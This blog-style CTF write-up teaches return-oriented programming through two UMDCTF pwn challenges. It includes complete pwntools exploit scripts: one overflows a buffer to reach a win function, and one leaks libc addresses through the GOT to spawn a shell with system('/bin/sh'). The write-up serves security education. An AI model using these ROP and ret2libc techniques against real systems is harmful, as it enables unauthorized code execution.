Return Oriented Programming And Umdctf

10 minute read

Intro to Return-Oriented Programming and UMDCTF Challenge Writeups.

Overview

This is my first pwn related post that goes over the basics of return-oriented programming with two challenges from UMDCTF.

Return-Oriented Programming

Intro to ROP

Return-Oriented programming is an exploitation technique used to execute code on a target system. This technique is required when no memory regions exist that are both writeable and executable.

Basic buffer overflow vulnerabilities allow you to input more characters than the maximum size of the buffer, which allows you to not only fill the buffer but also overwrite any data found beyond it. Typically this includes a return address which can be controlled to point to shellcode if the stack is both writable and executable or, in the case of return-oriented programming, a gadget.

Gadgets are small snippets of assembly code that can be chained together, if you have control of the stack, to lead to a desierable result. Overwriting the return address with a gadget allows you to control what happens next in the program. In some CTF challenges this may be as simple as calling a function that prints the flag. In more difficult challenges you are required to chain together (ROP Chain) available gadgets to exploit the program. Each gadget will contain one or more instructions followed by ret.

How it’s Exploited

At the end of every function exists a ret instruction which takes the address on top of the stack at that point in time and tries to return it. Lets pretend that our stack contains a series of A’s and then 4 B’s that represent a return address.

  | AAAAAAAAAAAAAAAAAAAA | BBBB |


If we can control this return address BBBB then we can make it point to a gadget which can lead to more control. Using an example of a basic gadget pop rdi ; ret we can see that the instruction pops rdi off the stack and then returns. We can call this gadget in our buffer overflow to use it. This gadget starts by popping a value off the stack and saving it in RDI before returning to the address found at the new stack pointer. The important point here is that the top of the stack is found in the moment and is represented by a pointer to the address. Assume BBBB represents the memory address of the gadget and the stack looks like the following.

  | AAAAAAAAAAAAAAAAAAAA | BBBB | CCCC | DDDD |


The first function return will use the address of BBBB which in this case is the gadget. That instruction moves the stack pointer from BBBB to CCCC. When the gadget is called the first instruction is pop rdi. This pops the top value on the stack off which in this case is CCCC and saves it in RDI. The stack pointer moves once again and is now pointing to DDDD. The final instruction in the gadget is ret. This can be used to point at main again, another gadget (rop chain) or left empty based on what you put in DDDD.

You can use this knowledge to exploit programs that don’t contain win functions by using existing sections of code or strings that exist within c libraries. This will be covered in the second challenge writeup.

UMDCTF Challenges

jumpnoteasy

Jumpnoteasy is a challenge that contains a win function that we can call to read the flag. I start each challenge by running file and checksec to get some important information on the binary.

  > file JNE 
  
  JNE: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,  BuildID[sha1]=0f0f01637cf4e05769a07998015f0f60dd283d90, for GNU/Linux 3.2.0, not stripped


  > checksec JNE
  
  [*] '/root/CTF/Pwn/UMDCTF/jumpnoteasy/JNE'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x400000)


The file command gives us basic information on the file. We see that it is 64bit and x86-64. Checksec is a better command that gives us information on the type of attack we need to do. RELRO is a protection that makes the global offset table read only. In this case partial relro means that whilst the GOT table is read only, a Procedure Linkage Table dependent GOT is still writeable. NX stands for no execute and shows that no memory is both writeable and executable. PIE stands for Position Independent Executable. A No Pie application as we have here will tell the loader what virtual memory addresses to use and these will remain static.

Decompiling the binary gives us three functions to play with.

Main:

  int __cdecl main(int argc, const char **argv, const char **envp)
  {
    setup(argc, argv, envp);
    puts("Welcome to the space shuttle! Get ready for an adventure!");
    if ( (unsigned int)jump() == -1 )
    printf("System crashing!");
    return 0;
  }


Jump:

  __int64 jump()
  {
    char v1[64]; // [rsp+0h] [rbp-40h] BYREF
    puts("Where do you want to go?");
    gets(v1);
    return 0xFFFFFFFFLL;
  }


Get_flag:

  int get_flag()
  {
    char ptr[136]; // [rsp+0h] [rbp-90h] BYREF
    FILE *stream; // [rsp+88h] [rbp-8h]
    stream = fopen("flag", "r");
    if ( !stream )
    {
      puts("Error when opening the file!");
      exit(1);
    }
    fread(ptr, 0x7FuLL, 1uLL, stream);
    puts(ptr);
    return fclose(stream);
  }


In this program, main calls jump which allocates 64 bytes to a buffer and uses gets to take in any user input. We know that we will need to overflow this buffer and the return address to make it point to the address of get_flag. The address of any function in a program can be found by using info functions from within GDB.

Our exploit using pwntools will overflow the buffer with 72 characters and then the address of get_flag.

  from pwn import *

  #p = connect('chals5.umdctf.io', 7003)
  p = process('./JNE')

  payload = b'A'*72
  payload += p64(0x000000000040125d)

  p.recvuntil('go?')
  p.sendline(payload)

  print(p.recvall())


  [+] Starting local process './JNE': pid 3286
  [+] Receiving all data: Done (17B)
  [*] Stopped process './JNE' (pid 3286)
  b'\nflag{testflag}\n\n'

jumpnotworking

Jumpnotworking is a much more involved challenge without a win function to get the flag. The main and jump functions are identical to jumpnoteasy so we just need to figure out the ROP chain to exploit it.

This type of challenge requires the attacker to leak the address of a function within a c library which can be used as an offset to calculate the memory locations of a system function and the string /bin/sh.

Once again we will use file and checksec to investigate the binary.

  > file JNW
  
  JNW: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=046485b485788565d886864d24d5519544da1a25, for GNU/Linux 3.2.0, not stripped


  > checksec JNW
  
  [*] '/root/CTF/Pwn/UMDCTF/jumpnoteasy/JNE'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x400000)


This file is identical to the previous one in these aspects.

When finding availabile gadgets we use the ROPgadget tool to show us all the options. I have only included a block of gadgets that may have some importance in this challenge. In this challenge we only need the pop rdi ; ret gadget which we will use to return a system command with the value of /bin/sh.

  > ROPgadget --binary JNW
  
  0x00000000004010df : nop ; endbr64 ; ret                                                                          
  0x00000000004011da : nop ; pop rbp ; ret                                                                          
  0x000000000040110f : nop ; ret                                                                                    
  0x000000000040118c : nop dword ptr [rax] ; endbr64 ; jmp 0x401120
  0x0000000000401106 : or dword ptr [rdi + 0x404048], edi ; jmp rax
  0x0000000000401178 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
  0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
  0x00000000004012c0 : pop r14 ; pop r15 ; ret
  0x00000000004012c2 : pop r15 ; ret
  0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
  0x000000000040117d : pop rbp ; ret
  0x00000000004012c3 : pop rdi ; ret
  0x00000000004012c1 : pop rsi ; pop r15 ; ret
  0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  0x000000000040101a : ret


We can start writing a payload with pwntools that will help us to leak a libc address that we need for the final exploit. A function can often have a similar memory address in multiple libraries so it is a good idea to leak as much as possible to narrow it down. We can see all the available functions with the got command in GDB.

  > got
  
  [0x404018] puts@GLIBC_2.2.5  →  0x401030
  [0x404020] setbuf@GLIBC_2.2.5  →  0x401040
  [0x404028] printf@GLIBC_2.2.5  →  0x401050
  [0x404030] gets@GLIBC_2.2.5  →  0x401060


  from pwn import *
  
  # Connect
  elf = ELF('./JNW')
  p = process('./JNW')
  #p = connect('chals5.umdctf.io', 7004)

  # Addresses
  main_addr = elf.symbols['main']
  puts_plt = elf.plt['puts'] 
  puts_got = elf.got['puts']
  setbuf_got = elf.got['setbuf']
  
  # Gadgets
  pop_rdi = 0x0000000004012c3 # pop rdi ; ret
  
  # Payload for Leak 1
  # This payload calls the pop rdi gadget and saves the address of puts_got into the register. We use puts_plt to print it out so we can read it to use later on. This gets us the leak for the puts function.
  payload = b'A'*72
  payload += p64(pop_rdi) + p64(puts_got)
  payload += p64(puts_plt)
  payload += p64(main_addr)
  
  p.sendlineafter('go?\n', payload)
  
  # Leaking the address
  leak = int.from_bytes(p.recvn(6), byteorder="little")
  
  # Payload for Leak 2
  # This payload calls the pop rdi gadget and saves the address of setbuf_got into the register. We use puts_plt to print it out so we can read it to use later on. This gets us the leak for the setbuf function.
  payload = b'A'*72
  payload += p64(pop_rdi) + p64(setbuf_got)
  payload += p64(puts_plt)
  payload += p64(main_addr)
  
  p.sendlineafter('go?\n', payload)
  
  # Leaking the address
  leak2 = int.from_bytes(p.recvn(6), byteorder="little")
  
  print(hex(leak))
  print(hex(leak2))


This script sends 2 payloads to the program which call the pop rdi ; ret gadget to print out the libc addresses of puts and setbuf. These addresses can be used on the libc database search tool found at libc.rip where you can enter the symbol name and corresponding leak address. In this case we are given 4 possible results.

  libc6-amd64_2.31-6_i386
  libc6_2.31-6_amd64
  libc6-amd64_2.31-5_i386
  libc6_2.31-5_amd64


We know that our program is amd64 so this gives us 2 options to choose from. I have used version 5 here. When you expand the version you can see a series of other functions and their appropriate offsets in the library. The 2 we need to use are system and binsh. Download the appropriate library and move it into the challenge folder to use in the script.

  __libc_start_main_ret	0x26d0a
  dup2	0xef710
  printf	0x56c90
  puts	0x76590
  read	0xeee20
  setbuf	0x7d4f0
  str_bin_sh	0x18a156
  system	0x48df0
  write	0xeeec0


Going back to the exploit script we can add the final payload that uses these addresses to get the shell. The script calculates the addresses based on offsets and calls system(/bin/sh) with the gadget.

  from pwn import *

  # Connect
  elf = ELF('./JNW')
  libc = ELF('./libc6_2.31-5_amd64.so')
  p = process('./JNW')
  #p = connect('chals5.umdctf.io', 7004)

  # Addresses
  main_addr = elf.symbols['main']
  puts_plt = elf.plt['puts']
  puts_got = elf.got['puts']
  setbuf_got = elf.got['setbuf']

  # Gadgets
  pop_rdi = 0x00000000004012c3 # pop rdi ; ret

  # Payload
  payload = b'A'*72
  payload += p64(pop_rdi) + p64(puts_got)
  payload += p64(puts_plt)
  payload += p64(main_addr)

  p.sendlineafter('go?\n', payload)

  # Leaking the address
  leak = int.from_bytes(p.recvn(6), byteorder="little")

  # Payload
  payload = b'A'*72
  payload += p64(pop_rdi) + p64(setbuf_got)
  payload += p64(puts_plt)
  payload += p64(main_addr)

  p.sendlineafter('go?\n', payload)

  # Leaking the address
  leak2 = int.from_bytes(p.recvn(6), byteorder="little")

   # Offsets
  puts_libc_offset = 0x76590
  system_libc_offset = 0x48df0
  bin_sh_libc_offset = 0x18a156

  # Finding libc base
  libc_base = leak - puts_libc_offset

  # System and bin/sh addresses
  system_addr = libc_base + system_libc_offset
  bin_sh = libc_base + bin_sh_libc_offset

  # Printing out addresses
  log.info(hex(leak))
  log.info(hex(leak2))
  log.info(hex(libc_base))
  log.info(hex(system_addr))
  log.info(hex(bin_sh))

  # Final Payload
  payload = b'A'*72
  payload += p64(pop_rdi) + p64(bin_sh)
  payload += p64(system_addr)

  p.sendlineafter('go?', payload)

  p.interactive()


  > python3 exploit.py
  
  [*] '/root/CTF/Pwn/UMDCTF/jumpnotworking/JNW'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x400000)
  [*] '/root/CTF/Pwn/UMDCTF/jumpnotworking/libc6_2.31-5_amd64.so'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    Canary found
      NX:       NX enabled
      PIE:      PIE enabled
  [+] Starting local process './JNW': pid 3259
  [*] 0x7f8783b02590
  [*] 0x7f8783b094f0
  [*] 0x7f8783a8c000
  [*] 0x7f8783ad4df0
  [*] 0x7f8783c16156
  [*] Switching to interactive mode

  $ ls
  exploit.py  JNW  libc6_2.31-5_amd64.so

Updated: